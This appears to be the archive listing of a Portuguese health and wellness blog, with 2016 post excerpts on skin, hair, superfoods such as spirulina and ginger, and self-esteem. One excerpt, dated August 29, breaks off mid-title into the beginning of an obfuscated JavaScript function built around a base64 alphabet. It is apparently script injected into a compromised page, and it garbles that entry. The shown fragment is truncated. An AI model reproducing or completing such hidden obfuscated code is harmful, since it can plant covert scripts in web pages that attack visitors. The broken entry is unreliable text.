Out 17, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Saiba como reduzir as rugas e a flacidez da pele Olá, olá! As redes sociais têm a vantagem de facilitar a comunicação entre pessoas que não estão fisicamente próximas e isso é bom. No meu caso é bom porque me permite por exemplo responder a muitas das perguntas que...
Out 6, 2016 | Equilíbrio, header, Saúde e bem estar
Saúde do nosso cabelo – os 7 pecados capilares O cabelo é muitas vezes o espelho visível do que se passa no nosso corpo. Manter um cabelo brilhante e sedoso não é manter as aparências. É uma questão de saúde. A Dra Fátima Garcês, médica tricologista da Clínica...
Out 3, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça os benefícios da salsa Uma alimentação rica em frutos e vegetais é uma das armas mais poderosas de garantirmos uma saúde de ferro. “Nós somos aquilo que comemos”, uma frase tantas vezes repetida, mas muito verdadeira! Por isso, mesmo...
Set 28, 2016 | Equilíbrio, Saúde e bem estar
Spirulina, um superalimento que tem de conhecer Andava há que tempos para lhe falar desta maravilha! Chama-se spirulina, é uma cianobactéria e dizem que é capaz de verdadeiros milagres! Cultivada há milhares de anos por índios, só há relativamente pouco tempo é que o...
Set 26, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça todos os benefícios do abacate Tenho a sorte de adorar quase todos os frutos, mas é sempre bom sabermos em que quantidades é que deve comê-los. O abacate é um dos frutos que procuro ter sempre em casa. Incluo-o em snacks muito saborosos...
Set 19, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça os benefícios do gengibre Em chá, em óleo, cru ou seco, às lascas ou em pó, os poderes do gengibre são inegáveis e variados. É um verdadeiro tesouro para a nossa saúde e se não sabia, vai ficar a saber tudo agora mesmo. Acredite que a...
Set 12, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: conheça os benefícios da batata doce A batata doce é um dos alimentos mais nutritivos do mundo. É um carboidrato de absorção lenta e os praticantes de desporto costumam adorar! Eu não sou uma desportista federada, mas adoro desporto e procuro levar a...
Set 5, 2016 | Saúde e bem estar
Dicas saudáveis – conheça os benefícios da rúcula Como sou fã da alimentação mediterrânica, desta vez decidi falar-lhe de um vegetal que eu adoro adicionar em quase todas as saladas que faço: a rúcula! É uma folha verde-escura e tem um travo ligeiramente amargo...
Ago 29, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: 8 grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Ago 23, 2016 | Saúde e bem estar
Dicas essenciais para fortalecer a sua autoestima, por Maria Palha, psicóloga A expressão «autoestima» normalmente responde à pergunta “como me sinto com quem sou?”. Bem? Mal? Mais ou menos? A nossa autoestima é, em boa parte, construída durante os anos de...
